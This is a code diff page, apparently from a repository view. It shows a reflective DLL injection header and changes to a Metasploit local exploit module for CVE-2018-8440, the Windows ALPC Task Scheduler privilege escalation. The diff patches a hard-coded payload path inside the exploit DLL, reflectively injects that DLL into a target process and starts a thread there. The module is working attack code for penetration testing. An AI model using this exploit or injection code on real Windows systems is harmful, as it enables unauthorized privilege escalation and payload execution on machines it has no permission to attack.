// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||
// endorse or promote products derived from this software without specific prior written permission.
|
||||
//
|
||||
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||
// POSSIBILITY OF SUCH DAMAGE.
|
||||
//===============================================================================================//
|
||||
#ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
#define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H
|
||||
//===============================================================================================//
|
||||
#include "ReflectiveDLLInjection.h"
|
||||
|
||||
DWORD GetReflectiveLoaderOffset( VOID * lpReflectiveDllBuffer );
|
||||
|
||||
HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength );
|
||||
|
||||
HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPVOID lpParameter );
|
||||
|
||||
//===============================================================================================//
|
||||
#endif
|
||||
//===============================================================================================//
|
||||
|
|
@ -30,7 +30,7 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
'SandboxEscaper', # Original discovery and PoC
|
||||
'bwatters-r7', # msf module
|
||||
'asoto-r7', # msf module
|
||||
'jrobles-r7' # msf module
|
||||
'Jacob Robles' # msf module
|
||||
],
|
||||
'Platform' => ['win'],
|
||||
'SessionTypes' => ['meterpreter','shell'], #TODO: syntax for shell?
|
||||
|
|
@ -76,42 +76,44 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
|
||||
def setup
|
||||
super
|
||||
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
@payload_name = datastore['PAYLOAD_NAME'] || Rex::Text.rand_text_alpha((rand(8) + 6))
|
||||
@payload_name = "#{payload_name}.dll" unless payload_name.match(/\.dll$/i)
|
||||
@temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP')
|
||||
@payload_path = "#{temp_path}\\#{payload_name}"
|
||||
|
||||
@payload_dll = generate_payload_dll
|
||||
@original_path = ('A' * 80) + '.dll'
|
||||
@original_path = ('A' * 80)
|
||||
end
|
||||
|
||||
def overwrite_payload_path(exploit_data, payload_path, original_path)
|
||||
def overwrite_payload_path(exploit_data)
|
||||
# The payload path is hard-coded into the exploit
|
||||
# We need to change it, but the exploit binary is in UTF-16LE
|
||||
# But our parsers (right now) expect it to be encoded as ANSI-8bit
|
||||
# Covert the exploit binary to UTF-16, switch the values, then return
|
||||
# the encoding to whatever it was to begin with
|
||||
print_status("Attempting to change the payload path to #{payload_path}...")
|
||||
print_status("payload path length = #{payload_path.length}...")
|
||||
print_status("original path length = #{original_path.length}...")
|
||||
|
||||
if payload_path.length > original_path.length
|
||||
fail_with(Failure::BadConfig,"Parameter PAYLOAD_NAME may not exceed #{original_path.length} characters, including extension")
|
||||
end
|
||||
|
||||
original_encoding = exploit_data.encoding
|
||||
exploit_data.force_encoding("UTF-16LE")
|
||||
padded_path = payload_path + ('x/00' * ((original_path.length)-(payload_path.length)))
|
||||
padded_path = payload_path + ("\x00" * (original_path.length-payload_path.length))
|
||||
|
||||
padded_path.encode!("UTF-16LE")
|
||||
original_path.encode!("UTF-16LE")
|
||||
exploit_data.force_encoding("UTF-16LE")
|
||||
|
||||
exploit_data.sub!(original_path, padded_path)
|
||||
exploit_data.force_encoding(original_encoding)
|
||||
end
|
||||
|
||||
def inject_magic(process)
|
||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'reflective_dll.x64.dll')
|
||||
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2018-8440', 'ALPC-TaskSched-LPE.dll')
|
||||
library_path = ::File.expand_path(library_path)
|
||||
dll_data = ''
|
||||
::File.open(library_path, 'rb') { |f| dll_data = f.read }
|
||||
overwrite_payload_path(dll_data, payload_path, original_path)
|
||||
overwrite_payload_path(dll_data)
|
||||
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
|
||||
exploit_mem, offset = inject_dll_data_into_process(process, dll_data)
|
||||
process.thread.create(exploit_mem + offset)
|
||||
|
|
@ -155,10 +157,6 @@ class MetasploitModule < Msf::Exploit::Local
|
|||
end
|
||||
end
|
||||
|
||||
def ensure_clean_exploit_destination
|
||||
ensure_clean_destination(exploit_path)
|
||||
end
|
||||
|
||||
def ensure_clean_payload_destination
|
||||
ensure_clean_destination(payload_path)
|
||||
end
|
||||
|
|
|
|||
Loading…
Reference in New Issue